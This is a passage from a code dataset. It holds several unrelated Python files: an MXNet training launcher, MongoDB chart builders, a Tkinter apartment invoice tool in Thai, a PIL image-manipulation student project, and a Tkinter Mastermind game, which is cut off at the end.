job.run('python mscoco.py')\n\n # 5. Run the training job.\n hosts = [task.ip + f':{NUM_GPUS}' for task in job.tasks]\n host_str = ','.join(hosts)\n\n mpi_cmd = ['mpirun --allow-run-as-root',\n f'-np {args.machines * NUM_GPUS}',\n f'--npernode {NUM_GPUS}',\n f'--host {host_str}',\n '--bind-to none',\n '-x NCCL_DEBUG=INFO',\n '-x PATH',\n '-x LD_LIBRARY_PATH',]\n\n insightface_cmd = './train-perseus.sh'\n \n cmd = mpi_cmd \n cmd = \" \".join(cmd) + \" \" + insightface_cmd\n job.tasks[0].run(f'echo {cmd} > {job.logdir}/task-cmd')\n job.tasks[0].run(cmd)\n print(f\"Logging to {job.logdir}\")\n\n eclapse_time = time.time() - start_time\n print(f'training deploy time is: {eclapse_time} s.')\n\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"mxnet/faster-rcnn/train_faster_rcnn.py","file_name":"train_faster_rcnn.py","file_ext":"py","file_size_in_byte":4951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"15777300","text":"import pymongo\n\n\n\ndef csv_commit(\n DB: pymongo.MongoClient,\n reports: list\n ) -> None:\n '''\n Create and update the csv_commit charts\n '''\n\n for report in reports['capacity']:\n result = {\n 'cluster' : report['cluster'],\n 'type' : 'csv_commit',\n 'commit' : [],\n 'volumes' : []\n }\n\n for csv in report['CSV']:\n result['commit'].append(csv['LUN Commit (%)'])\n result['volumes'].append(csv['CSV Name'])\n \n DB['compute_charts'].find_one_and_update(\n {\n 'cluster' : report['cluster'],\n 'type' : 'csv_commit'\n },\n {\n '$set' : result,\n },\n upsert=True\n )\n\n\ndef cpu_commit(\n DB: pymongo.MongoClient,\n reports: list\n ) -> None:\n '''\n Create and update the cpu_commit charts\n '''\n\n for report in reports['capacity']:\n result = {\n 'cluster' : report['cluster'],\n 'type' : 'cpu_commit',\n 'commit' : [],\n 'host' : []\n }\n\n for cpu in report['Processor']:\n result['commit'].append(cpu['CPU Oversubscription (%)'])\n result['host'].append(cpu['Host Name'])\n \n DB['compute_charts'].find_one_and_update(\n {\n 'cluster' : report['cluster'],\n 'type' : 'cpu_commit'\n },\n {\n '$set' : result,\n },\n upsert=True\n )\n\n\ndef ram_commit(\n DB: pymongo.MongoClient,\n reports: list\n ) -> None:\n '''\n Create and update the ram_commit charts\n '''\n\n \n ram_commit = {}\n for report in reports['guest']:\n ram = {}\n for vm in report['VM Summary']:\n try:\n ram[vm['Current Host']] += float(vm['RAM (GB)'])\n except KeyError:\n ram[vm['Current Host']] = float(vm['RAM (GB)'])\n ram_commit[report['cluster']] = ram\n \n for report in reports['capacity']:\n cluster = report['cluster']\n result = {\n 'cluster' : cluster,\n 'type' : 'ram_commit',\n 'commit' : [],\n 'host' : []\n }\n total = float(report['Memory'][0]['Total Memory (GB)'])\n nodes = len(ram_commit[cluster])\n node_ram = total / nodes\n for node in ram_commit[cluster]:\n node_commit = ram_commit[cluster][node]\n node_ram_commt_percentage = round((node_ram/node_commit) * 100)\n result['commit'].append(node_ram_commt_percentage)\n result['host'].append(node)\n\n DB['compute_charts'].find_one_and_update(\n {\n 'cluster' : report['cluster'],\n 'type' : 'ram_commit'\n },\n {\n '$set' : result,\n },\n upsert=True\n )\n\n\n\ndef storage_tree(\n DB: pymongo.MongoClient,\n reports: dict\n ) -> None:\n '''\n Create and update the storage tree chart\n '''\n\n clusters = {}\n\n for report in reports['capacity']:\n clusters[report['cluster']] = {\n 'size' : 0\n }\n for csv in report['CSV']:\n csv_size = round(float(csv['Total Size (GB)']))\n clusters[report['cluster']]['size'] += csv_size\n clusters[report['cluster']][csv['CSV Name']] = {}\n clusters[report['cluster']][csv['CSV Name']]['size'] = csv_size\n\n for report in reports['guest']:\n for vm in report['VM Summary']:\n vm_csv = vm['Storage Path'].split('\\\\')[2]\n clusters[report['cluster']][vm_csv][vm['VM Name']] = {}\n try:\n clusters[report['cluster']][vm_csv][vm['VM Name']]['size'] = round(float(vm['Max Total Disk Size (GB)']))\n except ValueError:\n clusters[report['cluster']][vm_csv][vm['VM Name']]['size'] = 0\n for disk in report['VM Disk Detail']:\n disk_csv = disk['Disk Path'].split('\\\\')[2]\n disk_csv = disk_csv.upper()\n disk_name = disk['Disk Path'].split('\\\\')[-1]\n disk_name = disk_name.lower()\n try:\n clusters[report['cluster']][disk_csv][disk['VM Name']][disk_name] = {}\n clusters[report['cluster']][disk_csv][disk['VM Name']][disk_name]['size'] = round(float(disk['Maximum Disk Size (GB)']))\n except KeyError:\n pass\n\n for cluster in clusters:\n cluster_tree = {\n 'name' : cluster,\n 'size' : clusters[cluster]['size'],\n 'children' : []\n }\n for csv in clusters[cluster]:\n if csv == 'size':\n continue\n csv_tree = {\n 'name' : csv,\n 'size' : clusters[cluster][csv]['size'],\n 'children' : []\n }\n\n for vm in clusters[cluster][csv]:\n if vm == 'size':\n continue\n vm_tree = {\n 'name' : vm,\n 'size' : clusters[cluster][csv][vm]['size'],\n 'children' : []\n }\n\n for disk in clusters[cluster][csv][vm]:\n if disk == 'size':\n continue\n disk_tree = {\n 'name' : disk,\n 'size' : clusters[cluster][csv][vm][disk]['size'],\n 'value' : clusters[cluster][csv][vm][disk]['size']\n }\n vm_tree['children'].append(disk_tree)\n csv_tree['children'].append(vm_tree)\n cluster_tree['children'].append(csv_tree)\n\n DB['compute_charts'].find_one_and_update(\n {\n 'cluster' : cluster,\n 'type' : 'storage_tree'\n },\n {\n '$set' : cluster_tree,\n },\n upsert=True\n )","sub_path":"backend/mm_compute/src/charts.py","file_name":"charts.py","file_ext":"py","file_size_in_byte":6015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"499400499","text":"__author__ = \"Teeraphat Kullanankanjana\"\r\n__version__ = \"Prototype 0.0.0\"\r\n\r\nfrom tkinter import *\r\nfrom tkinter import ttk\r\nfrom tkinter import messagebox as msg\r\nfrom datetime import date\r\n\r\n\r\ndef on_click():\r\n try:\r\n room_number, room_price, elect_price, water_price, service, year = e1.get(), e2.get(), e3.get(), e4.get(), e5.get(), e6.get()\r\n month_name, internet_number = combo1.get(), combo2.get()\r\n if int(room_number) < 0 or int(room_price) < 0 or int(elect_price) < 0 or int(water_price) < 0 or \\\r\n int(service) < 0 or int(year) < 0 or int(internet_number) < 0 or month_name not in month_list_TH:\r\n msg.showerror(\"แจ้งเตือน\", \"บันทึกรายการล้มเหลว\\nการป้อนค่าไม่ถูกต้อง\\nกรุณาลองใหม่\")\r\n else:\r\n file_name = \"ใบแจ้งหนี้เดือน\" + str(month_name) + str(year) + \".txt\"\r\n fo = open(str(file_name), \"w+\", encoding=\"utf-8\")\r\n fo.write(\"\\t\\t\\tใบแจ้งหนี้/ใบเสร็จรับเงิน\\nหมายเลขห้อง: \" + str(room_number) + \"\\t\\t\\t\\t\\t\"+\"ยอดชำระเดือน: \"+str(month_name)+\" \"+str(year)+\"\\nลงวันที่บันทึก: \"+str(date.today().strftime(\"%b-%d-%Y\"))+\"\\n\")\r\n fo.write(\"____________________\\n\")\r\n fo.write(\"รายการที่ต้องชำระ\\n\")\r\n fo.write(\"ลำดับที่\\t\\t\\tรายการ\\t\\t\\t\\t\\t\\tราคา(บาท)\\n\")\r\n fo.write(\"1\\t\\t\\t\\tค่าห้อง\"+\"\\t\\t\\t\\t\\t\\t\"+str(room_price)+\"\\n\")\r\n fo.write(\"2\\t\\t\\t\\tค่าไฟฟ้า\"+\"\\t\\t\\t\\t\\t\\t\"+str(elect_price)+\"\\n\")\r\n fo.write(\"3\\t\\t\\t\\tค่าไฟฟ้า\"+\"\\t\\t\\t\\t\\t\\t\"+str(water_price)+\"\\n\")\r\n fo.write(\"4\\t\\t\\t\\tค่าบริการ\"+\"\\t\\t\\t\\t\\t\\t\"+str(water_price)+\"\\n\")\r\n fo.write(\"5\\t\\t\\t\\tค่าอินเตอร์เน็ต\"+\"\\t\\t\\t\\t\\t\"+str(int(internet_number)*250)+\"\\n\")\r\n fo.write(\"____________________\\nรวมทั้งสิ้น \"+str(int(room_price)+int(elect_price)+int(water_price)+int(service)+int(internet_number)*250)+\" บาท\\n\")\r\n fo.close()\r\n msg.showinfo(\"แจ้งเตือน\", \"บันทึกรายการเสร็จสิ้น\")\r\n except(ValueError or TypeError):\r\n msg.showerror(\"พบข้อผิดพลาด\", \"บันทึกรายการล้มเหลว\\nการป้อนค่าไม่ถูกต้อง\\nกรุณาลองใหม่\")\r\n\r\n\r\nroot = Tk()\r\nroot.title(\"Recorder\")\r\nroot.resizable(width=FALSE, height=FALSE)\r\nmonth_list_TH = (\"มกราคม\", \"กุมภาพันธ์\", \"มีนาคม\", \"เมษายน\", \"พฤษภาคม\", \"มิถุนายน\",\r\n \"กรกฎาคม\", \"สิงหาคม\", \"กันยายน\", \"ตุลาคม\", \"พฤศจิกายน\", \"ธันวาคม\")\r\nnumber_internet_list = (\"0\", \"1\", \"2\", \"3\", \"4\",\r\n \"5\", \"6\", \"7\", \"8\", \"9\", \"10\")\r\nL1 = LabelFrame(root).grid()\r\nL2 = LabelFrame(root).grid()\r\nL3 = LabelFrame(root).grid()\r\nLabel(L1, text=\"\\nข้อมูลทั่วไป\").grid(row=0, sticky=W)\r\nLabel(L1, text=\"หมายเลขห้อง\").grid(row=1, sticky=W)\r\nLabel(L1, text=\"กรุณาเลือกเดือนที่ชำระ\").grid(row=2, sticky=W)\r\nLabel(L1, text=\"ปีที่ต้องชำระ\").grid(row=3, sticky=W)\r\nLabel(L2, text=\"\\nรายการค่าชำระ\").grid(row=4, sticky=W)\r\nLabel(L2, text=\"1.ค่าห้อง(บาท)\").grid(row=5, sticky=W)\r\nLabel(L2, text=\"2.ค่าไฟฟ้า(บาท)\").grid(row=6, sticky=W)\r\nLabel(L2, text=\"3.ค่าน้ำ(บาท)\").grid(row=7, sticky=W)\r\nLabel(L2, text=\"4.ค่าบริการ(บาท)\").grid(row=8, sticky=W)\r\nLabel(L2, text=\"5.ค่าอินเตอร์เน็ต(ใบ)\").grid(row=9, sticky=W)\r\n\r\ne1 = Entry(L1)\r\ne1.grid(row=1, column=1) # room number\r\ne6 = Entry(L1)\r\ne6.grid(row=3, column=1) # year\r\ne2 = Entry(L2)\r\ne2.grid(row=5, column=1) # room price\r\ne3 = Entry(L2)\r\ne3.grid(row=6, column=1) # elect price\r\ne4 = Entry(L2)\r\ne4.grid(row=7, column=1) # water price\r\ne5 = Entry(L2)\r\ne5.grid(row=8, column=1) # service\r\n\r\ncombo1 = ttk.Combobox(L1, textvariable=\"month_list_TH\", width=17)\r\ncombo1[\"values\"] = month_list_TH\r\ncombo1.grid(row=2, column=1)\r\n\r\ncombo2 = ttk.Combobox(L1, textvariable=number_internet_list, width=17)\r\ncombo2[\"values\"] = number_internet_list\r\ncombo2.grid(row=9, column=1)\r\n\r\nb1 = Button(L3, text=\"\\nบันทึกรายการ\\n\", command=on_click).grid(row=10)\r\nroot.mainloop()\r\n","sub_path":"[GUI]Apartment Record.py","file_name":"[GUI]Apartment Record.py","file_ext":"py","file_size_in_byte":4927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"395828479","text":"from PIL import Image\n\n\ndef copyImage(inputImage, imageWidth, imageHeight):\n copyImageOutput = Image.new('RGB', (imageWidth, imageHeight), 'white')\n\n for i in range(imageWidth):\n for j in range(imageHeight):\n pixelColors = inputImage.getpixel((i, j))\n copyImageOutput.putpixel((i, j), pixelColors)\n\n copyImageOutput.save(\"copy.png\")\n\n\n\ndef main():\n # Change the path in Line 6 to the path of the image you want to use as input \n # for Windows users the path specify the path as \"c:\\\\users\\\\alark1\\\\Pictures\\\\usfca.png\"\n inputImage = Image.open('usfca_logo.png')\n imageWidth, imageHeight = inputImage.size\n initialAnswer = 0\n while initialAnswer >= 0 and initialAnswer <=10:\n print(\"\"\" What would you like to do?\n 1. Copy image\n 2. Flip the image Vertically\n 3. Flip the image Horizontally\n 4. Brighten Image\n 5. Darken Image\n 6. Scroll Image Horizontally\n 7. Scroll Image Vertically\n 8. Grey Scale Image\n 9. Rotate\n 10. Swap Corners\n \"\"\")\n initialAnswer=int(input(\"Enter the corresponding number:\"))\n if initialAnswer == 1:\n copyImage(inputImage, imageWidth, imageHeight)\n img = Image.open(\"copy.png\")\n img.show()\n\n if initialAnswer ==2:\n img = Image.open('vflip.png')\n img.show()\n if initialAnswer == 3:\n img = Image.open('hflip.png')\n img.show()\n if initialAnswer== 4:\n amount = 0\n print(\"Enter a number between 0 and 1. Higher is brighter.\")\n amount = float(input(\"Here:\"))\n lighten(inputImage,imageWidth,imageHeight,amount)\n img = Image.open(\"light.png\")\n img.show()\n if initialAnswer == 5:\n amount = 0\n print(\"Enter a number between 0 and 1. Higher is darker \")\n amount = float(input(\"Here:\"))\n darken(inputImage,imageWidth,imageHeight,amount)\n img = Image.open(\"darken.png\")\n img.show()\n if initialAnswer == 6:\n amount = 0\n print(\"Enter a number of pixels to scroll.\")\n numpixels = int(input(\"Here:\"))\n scrollHorizontal(inputImage,imageWidth,imageHeight,numpixels)\n img = Image.open(\"scrollhorizontal.png\")\n img.show()\n if initialAnswer == 7:\n amount = 0\n numpixels = int(input(\"Here:\"))\n scrollVertical(inputImage, imageWidth, imageHeight, numpixels)\n img = Image.open(\"scrollvertical.png\")\n img.show()\n if initialAnswer == 8:\n\n greyscale(inputImage,imageWidth,imageHeight)\n img = Image.open(\"greyscale.png\")\n img.show()\n if initialAnswer == 9:\n\n rotate(inputImage,imageWidth,imageHeight)\n img = Image.open(\"rotate.png\")\n img.show()\n if initialAnswer == 10:\n\n swapCorners(inputImage,imageWidth,imageHeight)\n img = Image.open(\"swapcorners.png\")\n img.show()\n\n\n\n else:\n\n print(\"\"\"\n\n >>>>Enter a number 1 through 10<<<<\n\n \"\"\")\n main()\n\n\n# Creates a copy of an image given the image variable, its width, and height\ndef copyImage(inputImage, imageWidth, imageHeight):\n copyImageOutput = Image.new('RGB', (imageWidth, imageHeight), 'white')\n\n for i in range(imageWidth):\n for j in range(imageHeight):\n pixelColors = inputImage.getpixel((i, j))\n copyImageOutput.putpixel((i, j), pixelColors)\n\n copyImageOutput.save(\"copy.png\")\n\n#Flips the image horizontally\ndef flipHorizontal(inputImage,imageWidth,imageHeight):\n flipHorizontalOutput = Image.new('RGB', (imageWidth, imageHeight), 'white')\n for j in range(imageHeight):\n for i in range(imageWidth):\n pixelcoordinate = inputImage.getpixel((i,j))\n flipHorizontalOutput.putpixel(((imageWidth-i)-1,j),pixelcoordinate)\n\n\n flipHorizontalOutput.save(\"hflip.png\")\n\n\n#Flips the image vertically\ndef flipVertical(inputImage,imageWidth,imageHeight):\n flipverticalOutput = Image.new('RGB', (imageWidth, imageHeight), 'white')\n for j in range(imageHeight):\n for i in range(imageWidth):\n pixelcoordinate = inputImage.getpixel((i,j))\n flipverticalOutput.putpixel((i,(imageHeight-j)-1),pixelcoordinate)\n\n\n flipverticalOutput.save(\"vflip.png\")\n\n\n#lightens the image\ndef lighten(inputImage,imageWidth,imageHeight,amount):\n lightenImageOutput = Image.new('RGB',(imageWidth,imageHeight),'white')\n for j in range(imageHeight):\n for i in range(imageWidth):\n pixel = inputImage.getpixel((i,j))\n red = pixel[0]\n green = pixel[1]\n blue= pixel[2]\n newred = (1-amount)* red + amount *255\n newgreen =(1-amount)* green + amount *255\n newblue= (1-amount)* blue + amount *255\n newpixel = (int(newred),int(newgreen), int(newblue))\n\n lightenImageOutput.putpixel((i,j), newpixel)\n\n lightenImageOutput.save(\"light.png\")\n\n\ndef darken(inputImage, imageWidth, imageHeight, amount):\n darkenImageOutput= Image.new('RGB',(imageWidth,imageHeight),'white')\n for j in range(imageHeight):\n for i in range(imageWidth):\n pixel = inputImage.getpixel((i,j))\n red = pixel[0]\n green = pixel[1]\n blue= pixel[2]\n newred = (1-amount)* red\n newgreen =(1-amount)* green\n newblue= (1-amount)* blue\n newpixel = (int(newred),int(newgreen), int(newblue))\n\n darkenImageOutput.putpixel((i,j), newpixel)\n\n darkenImageOutput.save(\"darken.png\")\n \n\n\n\n\ndef scrollHorizontal(inputImage, imageWidth, imageHeight, numpixels):\n scrollHOutput = Image.new('RGB', (imageWidth, imageHeight), 'white')\n\n \n #part B of the image\n for i in range(numpixels,imageWidth):\n for j in range(0,imageHeight):\n\n pixelColors = inputImage.getpixel((i, j))\n scrollHOutput.putpixel((i-numpixels, j), pixelColors)\n #part A of the image\n for i in range(0,numpixels):\n\n for j in range(0,imageHeight):\n\n pixelColors = inputImage.getpixel((i, j))\n scrollHOutput.putpixel((imageWidth-numpixels+i, j), pixelColors)\n\n\n\n scrollHOutput.save(\"scrollhorizontal.png\")\n\ndef scrollVertical(inputImage, imageWidth, imageHeight, numpixels):\n scrollVOutput = Image.new('RGB', (imageWidth, imageHeight), 'white')\n\n \n #part B of the image\n for i in range(numpixels,imageHeight):\n for j in range(0,imageWidth):\n\n pixelColors = inputImage.getpixel((j,i))\n scrollVOutput.putpixel((j, i-numpixels), pixelColors)\n\n #part A of the image\n for i in range(0,numpixels):\n for j in range(0,imageWidth):\n\n pixelColors = inputImage.getpixel((j, i))\n scrollVOutput.putpixel((j,(i+(imageHeight-numpixels))), pixelColors)\n\n\n\n scrollVOutput.save(\"scrollvertical.png\")\n\n\ndef greyscale(inputImage, imageWidth, imageHeight):\n greyscaleOutput= Image.new('RGB',(imageWidth,imageHeight),'white')\n for j in range(imageHeight):\n for i in range(imageWidth):\n pixel = inputImage.getpixel((i,j))\n red = pixel[0]\n green = pixel[1]\n blue = pixel[2]\n newred = red *.3\n newgreen = green * .59\n newblue = blue* .11\n greypixel = (int(newred)+int(newgreen)+int(newblue))\n newpixel = (int(greypixel),int(greypixel),int(greypixel))\n \n greyscaleOutput.putpixel((i,j),newpixel)\n\n greyscaleOutput.save(\"greyscale.png\")\n\n\ndef swapCorners(inputImage,imageWidth,imageHeight):\n swapCornersOutput= Image.new('RGB',(imageWidth,imageHeight),'white')\n\n for i in range(imageWidth):\n for j in range(imageHeight):\n pixelColors= inputImage.getpixel((i,j))\n\n cut_height = imageHeight//2\n cut_width = imageWidth//2\n\n if j< cut_height:\n new_height = j + cut_height\n if j >= cut_height:\n new_height = j - cut_height\n if i < cut_width: \n new_width = i+ cut_width\n elif i>= cut_width:\n new_width = i - cut_width\n\n swapCornersOutput.putpixel((new_width,new_height), pixelColors)\n\n \n\n swapCornersOutput.save(\"swapcorners.png\")\n\n\ndef rotate(inputImage, imageWidth, imageHeight):\n newWidth = imageHeight\n newHeight= imageWidth\n\n rotateOutput = Image.new('RGB',(imageHeight,imageWidth),'white')\n\n for i in range(newWidth):\n for j in range(newHeight):\n pixelColors = inputImage.getpixel((j,i))\n rotateOutput.putpixel((i,newHeight -1 -j), pixelColors)\n\n rotateOutput.save(\"rotate.png\")\nmain()\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"project2/part2/project2part2.py","file_name":"project2part2.py","file_ext":"py","file_size_in_byte":8982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"231258205","text":"from tkinter import *\r\nfrom random import choices\r\nfrom operator import itemgetter\r\nfrom functools import partial\r\n\r\nrootCol = \"lightgoldenrodyellow\"\r\nroot = Tk()\r\nroot.geometry(\"500x400\")\r\nroot.title(\"Mastermind Game\")\r\nroot.resizable(False,False)\r\nroot.configure(bg=rootCol)\r\n\r\n# Constants\r\npossibleColours = [\"Blue\", \"White\", \"Orange\", \"Green\", \"Red\", \"Yellow\"]\r\nfontSize = 20\r\nfontType = \"Arial\"\r\nfontInfo = (fontType, fontSize)\r\nbgHex = \"#ADBEC9\" # Background hex colour\r\nfolder = \"Mastermind_Assets\"\r\nleaderboardFile = f\"{folder}/leaderboard.txt\"\r\nrows = 12\r\nrulesString = f'''Mastermind Rules\r\n - Computer generates a random 4 colour code (colours can repeat).\r\n - The player chooses four code pegs per attempt to try and crack the code.\r\n - If a colour is correct, but in the wrong place, a white peg will be placed into the small holes.\r\n - If a colour is correct, and in the right place, a black peg will be placed into the small holes.\r\n - If duplicate colours are guessed, the max amount of pegs placed (for that colour) correspond to the amount of times that colour appears in the code.\r\n - If the player is unable to do this within {rows} tries, they lose.\r\n - If they're able to crack the code, they win!\r\n'''\r\n\r\nloseString = '''\r\nUnfortunately, %s, you lost!\r\nThe correct solution was:\r\n'''\r\n\r\nwinString = '''\r\nCongratulations, %s, you won!\r\nIt took you %d %s!\r\n''' \r\n\r\nimages = {\r\n \"PegHole\": PhotoImage(file=f\"{folder}/pegHole.png\"),\r\n \"MiniHole\": PhotoImage(file=f\"{folder}/feedbackPegHole.png\"),\r\n \"MiniHole_Black\": PhotoImage(file=f\"{folder}/feedbackPegHole_B.png\"),\r\n \"MiniHole_White\": PhotoImage(file=f\"{folder}/feedbackPegHole_W.png\"),\r\n \"Blue_Peg\": PhotoImage(file=f\"{folder}/BluePeg.png\"),\r\n \"White_Peg\": PhotoImage(file=f\"{folder}/WhitePeg.png\"),\r\n \"Orange_Peg\": PhotoImage(file=f\"{folder}/OrangePeg.png\"),\r\n \"Green_Peg\": PhotoImage(file=f\"{folder}/GreenPeg.png\"),\r\n \"Red_Peg\": PhotoImage(file=f\"{folder}/RedPeg.png\"),\r\n \"Yellow_Peg\": PhotoImage(file=f\"{folder}/YellowPeg.png\"),\r\n \"PegHole_Blue\": PhotoImage(file=f\"{folder}/pegHole_Blue.png\"),\r\n \"PegHole_Red\": PhotoImage(file=f\"{folder}/pegHole_Red.png\"),\r\n \"PegHole_Orange\": PhotoImage(file=f\"{folder}/pegHole_Orange.png\"),\r\n \"PegHole_White\": PhotoImage(file=f\"{folder}/pegHole_White.png\"),\r\n \"PegHole_Yellow\": PhotoImage(file=f\"{folder}/pegHole_Yellow.png\"),\r\n \"PegHole_Green\": PhotoImage(file=f\"{folder}/pegHole_Green.png\") \r\n }\r\n\r\n\r\n# These change during the code (variables)\r\ncurrRow = 0\r\nplayerName = StringVar()\r\nrowList = []\r\npegList = []\r\nsolutionList = []\r\ncorrectCode = choices(possibleColours, k=4) # generate code\r\n\r\nclass PegHole(): \r\n def __init__(self, position, colour, parent):\r\n self.colour = colour\r\n if self.colour != None:\r\n self.image = images[f\"PegHole_{colour}\"]\r\n backGround = rootCol\r\n else:\r\n self.image = images[\"PegHole\"]\r\n backGround = bgHex\r\n self.label = Label(parent, image=self.image, bg=backGround)\r\n if self.colour == None:\r\n self.label.bind(\"<1>\", lambda e: self.removeColour())\r\n self.label.place(relx=position/5)\r\n \r\n def changeColour(self, colour):\r\n self.colour = colour\r\n self.image = images[f\"PegHole_{colour}\"]\r\n self.label[\"image\"] = self.image\r\n\r\n def removeColour(self):\r\n self.image = images[\"PegHole\"]\r\n self.label[\"image\"] = self.image\r\n self.colour = None\r\n checkButton.place_forget()\r\n\r\ndef placePNEntries(): # place PlayerName entries\r\n playerNameLabel.place(relx=0.5, rely=0.4, anchor=\"s\")\r\n playerNameInput.place(relx=0.5, rely=0.5, anchor=CENTER)\r\n startButton.place(relx=0.5, rely=0.65, anchor=\"n\")\r\n rulesButton.place(relx=0.1, rely=0.8)\r\n # hide rule-related widgets\r\n backButton.place_forget()\r\n rulesLabel.place_forget()\r\n \r\n \r\ndef hidePNEntries(showRules): # hides playerName widgets, can show rule widgets\r\n # hide PlayerName Entries\r\n playerNameLabel.place_forget()\r\n playerNameInput.place_forget()\r\n startButton.place_forget()\r\n rulesButton.place_forget()\r\n if showRules:\r\n # show rule-related widgets\r\n backButton.place(relx=0.1, rely=0.8)\r\n rulesLabel.place(relx=0.5, rely=0.4, anchor = CENTER)\r\n\r\ndef pegMoving(pegImage, event):\r\n duplicateHolder[\"image\"] = pegImage\r\n x, y = root.winfo_pointerxy()\r\n x -= root.winfo_rootx()\r\n y -= root.winfo_rooty()\r\n duplicateHolder.place(x=x,y=y, anchor=CENTER)\r\n \r\ndef pegDropped(colour, event):\r\n # find the widget under the cursor\r\n duplicateHolder.place_forget()\r\n x,y = event.widget.winfo_pointerxy()\r\n target = event.widget.winfo_containing(x,y)\r\n try:\r\n # fixed row input\r\n x, y = int(target.winfo_x()/60), currRow\r\n except: pass\r\n\r\n # not correct widget, so change last one in row\r\n if target.winfo_width() != 64:\r\n y = currRow\r\n x = -2\r\n # get next empty spot\r\n for i, obj in enumerate(rowList[y]):\r\n if type(obj) == list:\r\n break\r\n elif not obj.colour:\r\n x = i\r\n break\r\n\r\n # update row colours\r\n rowList[y][x].changeColour(colour)\r\n currCode = []\r\n for obj in rowList[y]:\r\n if type(obj) == list or not obj.colour:\r\n break\r\n else:\r\n currCode.append(obj.colour)\r\n\r\n # check whether they're able to validate their code\r\n if len(currCode) == 4:\r\n checkButton.place(relx=0.02, rely=0.83)\r\n checkButton[\"command\"] = lambda: validateCode(currCode)\r\n else:\r\n checkButton.place_forget()\r\n \r\ndef validateCode(currCode):\r\n global currRow\r\n checkButton.place_forget()\r\n for obj in rowList[currRow]:\r\n if type(obj) != list:\r\n obj.label.unbind(\"<1>\")\r\n currRow += 1\r\n if currCode == correctCode:\r\n # won\r\n gameOver(True)\r\n elif currRow >= rows:\r\n # lost\r\n gameOver(False)\r\n else:\r\n # still playing\r\n ''' feedback format\r\n \"R\" = Correct colour, wrong place (White)\r\n \"P\" = Correct Colour, Right Place (Black)\r\n otherwise Wrong colour, wrong place (no image change)\r\n '''\r\n feedback = []\r\n remCorrectCode = [] # remaining correct code\r\n appeared = {}\r\n for index, colour in enumerate(currCode):\r\n # Check whether both correct\r\n if colour == correctCode[index]:\r\n feedback.append(\"P\")\r\n else: # else, collect incorrectly placed colours\r\n try:\r\n appeared[colour] += 1\r\n except:\r\n appeared[colour] = 1\r\n remCorrectCode.append(correctCode[index])\r\n \r\n # check incorrectly placed colours for correct colours\r\n for colour in appeared:\r\n if appeared[colour] > remCorrectCode.count(colour): # too many appearances\r\n appeared[colour] = remCorrectCode.count(colour)\r\n # if >0 appearances of that colour, then append it to feedback\r\n for i in range(appeared[colour]):\r\n feedback.append(\"R\")\r\n\r\n # visually show feedback\r\n container = rowList[currRow-1][-1]\r\n # variable used in favour of enumerate() index, to avoid having gaps in the feedback\r\n for n, v in enumerate(feedback):\r\n if v == \"P\":\r\n # change Black\r\n container[n][\"image\"] = images[\"MiniHole_Black\"]\r\n else:\r\n container[n][\"image\"] = images[\"MiniHole_White\"] \r\n \r\ndef resetRow():\r\n for obj in rowList[currRow]:\r\n if type(obj) != list:\r\n obj.removeColour()\r\n\r\ndef newGame():\r\n global correctCode, currRow\r\n # Re-adjust window\r\n root.geometry(\"500x730\")\r\n board.place(relx = .98, rely = 0.5, anchor=\"e\")\r\n pegFrame.place(relx=0.02, rely=0.02)\r\n resetButton.place(relx=0.02, rely=0.73)\r\n newGameButton.place_forget()\r\n solutionFrame.place_forget()\r\n gameOverLabel.place_forget()\r\n leaderboardButton.place_forget()\r\n # Reset variables\r\n correctCode = choices(possibleColours, k=4)\r\n currRow = 0\r\n # Update solution for game over\r\n for i, obj in enumerate(solutionList):\r\n obj.changeColour(correctCode[j])\r\n\r\n # Reset board\r\n for row in rowList:\r\n for obj in row:\r\n if type(obj) != list:\r\n obj.removeColour()\r\n else: # list\r\n for hole in obj:\r\n hole[\"image\"] = images[\"MiniHole\"]\r\n\r\ndef hideLeaderboard():\r\n hideLeaderboardButton.place_forget()\r\n leaderboardLabel.place_forget()\r\n newGameButton.place(relx=0.1, rely=0.8)\r\n gameOverLabel.place(relx=0.5, rely=0.4, anchor = CENTER)\r\n leaderboardButton.place(relx=0.9, rely=0.9, anchor=\"se\")\r\n solutionFrame.place(relx=0.5, rely=0.7, anchor=CENTER)\r\n \r\ndef showLeaderboard(text):\r\n leaderboardButton.place_forget()\r\n newGameButton.place_forget()\r\n gameOverLabel.place_forget()\r\n solutionFrame.place_forget()\r\n hideLeaderboardButton.place(relx=0.1, rely=0.8)\r\n leaderboardLabel.place(relx=0.5, rely=0.4, anchor = CENTER)\r\n leaderboardLabel[\"text\"] = text\r\n \r\ndef gameOver(won):\r\n data = {}\r\n if won: # they won!\r\n if currRow == 1:\r\n gameOverLabel[\"text\"] = winString % (playerName, 1, \"try\")\r\n else:\r\n gameOverLabel[\"text\"] = winString % (playerName, currRow, \"tries\")\r\n with open(leaderboardFile, \"a\") as aFile:\r\n aFile.write(f\"{playerName}; {currRow}\\n\")\r\n else: # they lost! :(\r\n gameOverLabel[\"text\"] = loseString % playerName\r\n \r\n board.place_forget()\r\n pegFrame.place_forget()\r\n resetButton.place_forget()\r\n root.geometry(\"500x400\")\r\n newGameButton.place(relx=0.1, rely=0.8)\r\n gameOverLabel.place(relx=0.5, rely=0.4, anchor = CENTER)\r\n leaderboardButton.place(relx=0.9, rely=0.9, anchor=\"se\")\r\n solutionFrame.place(relx=0.5, rely=0.7, anchor=CENTER)\r\n '''\r\n Question asks for the 3 players with the least tries\r\n Not the 3 lowest tries and who got them\r\n So only record the least tries for each player\r\n '''\r\n with open(leaderboardFile)as aFile:\r\n for line in aFile:\r\n fields = line.rstrip(\"\\n\").split(\"; \")\r\n name = fields[0]\r\n try:\r\n if data[name] > fields[-1]: # old value took more tries\r\n data[name] = fields[-1]\r\n except: # no prior data\r\n data[name] = fields[-1]\r\n\r\n # turn dictionary into list of tuples\r\n data = list(data.items())\r\n leaderboardString = \"Leaderboard:\\n\"\r\n # get 3 lowest, or as many as possible (if <3)\r\n # if 3>data then use data, else use 3\r\n for i in range((3>len(data) and len(data)) or 3):\r\n # get tuple with lowest tries\r\n tup = min(data, key=itemgetter(1))\r\n tries = \"tries\"\r\n if tup[0] == 1:\r\n tries = \"try\" \r\n leaderboardString += f\"{tup[0]}: 